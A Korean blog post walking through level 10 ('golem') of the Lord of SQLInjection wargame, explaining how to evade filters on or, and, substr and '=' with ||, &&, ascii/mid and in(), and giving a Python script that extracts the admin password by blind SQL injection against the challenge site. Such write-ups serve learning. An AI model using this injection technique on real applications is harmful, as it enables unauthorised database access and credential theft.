[LOS] Level10: golem

두비니

·

2020. 1. 8. 14:11

 

 

 

 

Lord OSQLInjection: lv.10 golem

 

 

 

 

 

 

 

golem입니다.

 

or, and, substr, =을 사용하지 않고 pw를 알아내야하네요.

 

일단 or와 and는 앞의 문제에서도 그랬듯이 || 와 &&를 이용하면 되고(&&는 %26%26으로 입력해주는것 잊지맙시다.)

 

 

substr은 ascii와 mid함수를 이용합시다.

ascii함수는 문자를 ascii코드로 바꾸어주고, mid함수는 

 

mid("편집할 텍스트", 추출을 시작할 위치(1부터시작), 추출할 텍스트 수)

 

와 같이 이용합니다.

 

마지막으로 =은 in함수를 이용하면 됩니다. 예를들어, id='admin'대신 id in ('admin')으로 이용해주시면 됩니다.

 

 

 

 

 

 

일단 hello admin까지는 출력시켰네요.

이걸가지고 python코드도 만들어보겠습니다

 

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=dcn2bc98j1qi3tg1khqovbugv5'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(32, 128):
        conn.request('GET', '/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27%20||%20id%20in(%27admin%27)%20%26%26%20ascii(mid(pw,'+str(i)+',1))%20in("'+str(j)+'")%23','',headers)
        r1 = conn.getresponse().read()
        if "Hello admin" in r1:
            pw += chr(j)
            print pw
            break

 

 

다음 코드를 실행시키면 pw를 얻을 수 있어서

 

 

 

 

 

 

 

짜잔.해결

'War Games > Lord of SQLInjection' 카테고리의 다른 글

[LOS] Level13: giant  (0) 2020.01.11
[LOS] Level11: darkknight  (0) 2020.01.09
[LOS] Level9: skeleton  (0) 2020.01.07
[LOS] Level8: orge  (0) 2020.01.06
[LOS] Level7: troll  (0) 2020.01.05